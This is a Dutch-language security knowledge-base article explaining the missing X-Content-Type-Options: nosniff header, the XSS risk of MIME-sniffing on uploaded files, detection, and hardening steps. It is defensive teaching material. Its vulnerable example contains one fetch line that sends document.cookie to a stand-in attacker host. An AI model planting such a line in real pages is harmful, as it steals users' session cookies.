Direct naar inhoud

MIME-sniffing niet uitgeschakeld

CWE-430CWE-79OWASP A02:2025Bijgewerkt 2 oktober 20264 min leestijd

Ontbreekt de header X-Content-Type-Options, dan mag de browser zelf bepalen wat voor bestand hij binnenkrijgt en negeert hij daarbij het opgegeven content-type. Een geüpload bestand dat als platte tekst wordt aangeboden maar scriptcode bevat, kan zo alsnog als JavaScript worden uitgevoerd op uw domein.

Een server vertelt bij elk bestand wat het is: een afbeelding, een stylesheet, een stuk JavaScript. Browsers hebben dat lange tijd niet zonder meer geloofd, en die twijfel is een beveiligingsprobleem geworden. In dit artikel leest u hoe een geüpload bestand zich als script kan gedragen en waarom één korte header dat afsluit.

Wat is MIME-sniffing?

MIME-sniffing is het gedrag waarbij een browser zelf naar de inhoud van een bestand kijkt om te bepalen wat voor type het is, in plaats van af te gaan op het Content-Type dat de server meestuurt. Een bestand zonder opgegeven type kan bijvoorbeeld als HTML worden weergegeven als de inhoud op HTML lijkt, en een bestand dat als script wordt geladen, wordt uitgevoerd, ook als de server het als text/plain heeft opgegeven.

Dat gedrag stamt uit een periode waarin veel webservers slecht geconfigureerd waren en pagina’s anders onbruikbaar werden. De browser was toegeeflijk, zoals een postbezorger die een pakket toch maar aflevert bij het huisnummer dat het meest waarschijnlijk lijkt. Praktisch, tot iemand daar bewust misbruik van maakt.

De header X-Content-Type-Options: nosniff maakt aan die toegeeflijkheid een einde. De browser neemt het opgegeven type dan als bindend aan en weigert het bestand wanneer dat type niet past bij de context waarin het wordt gebruikt.

Hoe misbruikt een aanvaller MIME-sniffing?

Het klassieke scenario combineert een bestandsupload met een ontbrekende header. De upload is een functie die u zelf hebt aangeboden; de aanvaller heeft alleen nog een plek nodig waar hij HTML kan injecteren.

Kwetsbaar:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 84

De server benoemt dit bestand netjes als platte tekst, maar stuurt geen nosniff mee. De inhoud is echter script:

/* Geüpload als notities.txt */
fetch('https://kwaadaardig.example/x?c=' + document.cookie);

Injecteert de aanvaller vervolgens een scripttag die naar dit bestand verwijst in een van uw pagina’s, bijvoorbeeld via een link die hij een slachtoffer stuurt, dan voert de browser het uit ondanks het opgegeven type. Dat is precies de omweg rond een Content Security Policy die alleen scripts van uw eigen domein toestaat. De code draait binnen uw origin, met toegang tot cookies en de DOM. Huidige browsers weigeren wel om een bestand dat als afbeelding, audio, video of CSV is opgegeven als script uit te voeren, met of zonder de header, maar een algemeen type als text/plain glipt erdoorheen. De upload was toegestaan, het content-type was correct, en toch is het resultaat een volwaardige cross-site-scriptingaanval.

Veilig:

HTTP/1.1 200 OK
Content-Type: text/plain
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="notities.txt"
Cross-Origin-Resource-Policy: same-site

Met nosniff voert de browser een bestand alleen als script uit als het een JavaScript-type heeft: het type is text/plain en dat is het dan ook. De aanval strandt. Content-Disposition: attachment gaat een stap verder door het bestand als download aan te bieden in plaats van het in de pagina te tonen, wat voor door gebruikers aangeleverde bestanden de veiligste standaard is.

Zet nosniff niet aan zonder eerst te controleren of uw server correcte content-types afgeeft. De header maakt bestaande fouten zichtbaar: een stylesheet die als text/plain wordt geserveerd of een scriptbestand met het verkeerde type wordt na het aanzetten geweigerd, en dan lijkt de header het probleem terwijl hij het alleen aan het licht brengt.

Wat is de impact van MIME-sniffing?

Op zichzelf is dit een hardeningbevinding met een lage ernst, want er is meer nodig dan alleen deze ontbrekende header om schade aan te richten. De aanvaller heeft een manier nodig om inhoud op uw domein te krijgen: een bestandsupload, een endpoint dat gebruikersinvoer teruggeeft, of een exportfunctie.

Bestaat die mogelijkheid wel, dan verschuift de bevinding richting middelzwaar, omdat de uitkomst neerkomt op scriptuitvoering binnen uw origin. Dat betekent toegang tot sessiecookies die niet op HttpOnly staan, tot de inhoud van de pagina en tot alles wat de ingelogde gebruiker mag. Een tweede, minder bekende variant treft JSON-endpoints: zonder nosniff kan een antwoord dat als JSON is bedoeld in bepaalde omstandigheden als script worden ingeladen, waarmee gegevens uit dat antwoord aan een vreemde pagina worden prijsgegeven.

Opvallend aan deze bevinding is vooral de verhouding tussen kosten en baten. Het aanzetten van de header kost één regel configuratie en heeft bij een correct ingerichte server geen enkel neveneffect.

Hoe spoor je MIME-sniffing op?

De controle is eenvoudig te automatiseren: haal een aantal antwoorden op en kijk of X-Content-Type-Options: nosniff aanwezig is. Interessanter is waar de header ontbreekt. In de praktijk staat hij vaak wel op de HTML-pagina’s, maar niet op de route die geüploade bestanden serveert, precies de plek waar hij het hardst nodig is.

Een tester combineert die controle daarom met de uploadfunctionaliteit. Kan er een bestand worden geüpload waarvan de inhoud als script leesbaar is? Wordt dat bestand teruggeserveerd vanaf hetzelfde domein als de applicatie? Krijgt het een Content-Disposition? En wordt het content-type afgeleid van de bestandsnaam die de gebruiker heeft opgegeven, wat op zichzelf al onbetrouwbaar is? AssistSec test bij een penetratietest die keten in samenhang, omdat het risico niet uit de ontbrekende header alleen voortkomt maar uit de combinatie met wat er op uw domein terecht kan komen.

Hoe voorkom je MIME-sniffing?

  • Stuur X-Content-Type-Options: nosniff mee op elk HTTP-antwoord, ook op statische bestanden en API-routes.
  • Zorg dat uw server voor elk bestandstype een correct Content-Type afgeeft voordat u de header afdwingt.
  • Serveer door gebruikers aangeleverde bestanden met Content-Disposition: attachment, zodat ze worden gedownload en niet uitgevoerd.
  • Host geüploade bestanden bij voorkeur op een apart domein, zodat scriptuitvoering nooit binnen de origin van de applicatie valt.
  • Leid het content-type af van een gecontroleerde lijst aan serverzijde, niet van de door de gebruiker opgegeven bestandsnaam.
  • Combineer de header met een strikte Content Security Policy als tweede laag.
  • Controleer of ook uw CDN en reverse proxy de header doorgeven en niet stilzwijgend verwijderen.

Bronnen

Veelgestelde vragen

Heeft nosniff nadelen?

In de praktijk vrijwel niet, mits uw server correcte content-types afgeeft. Het risico bij invoeren is juist dat u ontdekt dat dit niet zo is: een stylesheet die als text/plain wordt geserveerd, wordt na het aanzetten van nosniff geweigerd. Dat is geen nieuw probleem maar een bestaande fout die zichtbaar wordt.

Is deze header nodig als ik al een CSP heb?

Ze vullen elkaar aan. Een strikte CSP kan voorkomen dat een als script uitgevoerd bestand daadwerkelijk iets nuttigs doet, maar nosniff voorkomt dat de verkeerde interpretatie überhaupt plaatsvindt. Beide zijn goedkope maatregelen en er is geen reden om te kiezen.

Waar komt MIME-sniffing eigenlijk vandaan?

Uit een tijd waarin veel webservers verkeerde of ontbrekende content-types afgaven. Browsers gingen daarom zelf naar de inhoud kijken om pagina's toch correct te tonen. Die coulance is nooit helemaal verdwenen en is inmiddels een beveiligingsrisico in plaats van een oplossing.

Beschermt dit tegen alle problemen met bestandsuploads?

Nee, het is één laag. Nosniff voorkomt dat een bestand als een ander type wordt geïnterpreteerd, maar niet dat een gevaarlijk bestand wordt opgeslagen of dat de server het verkeerd afhandelt. Serveer geüploade bestanden bij voorkeur vanaf een apart domein en altijd met Content-Disposition attachment.

Verwante artikelen

Druk op / om te zoeken · Esc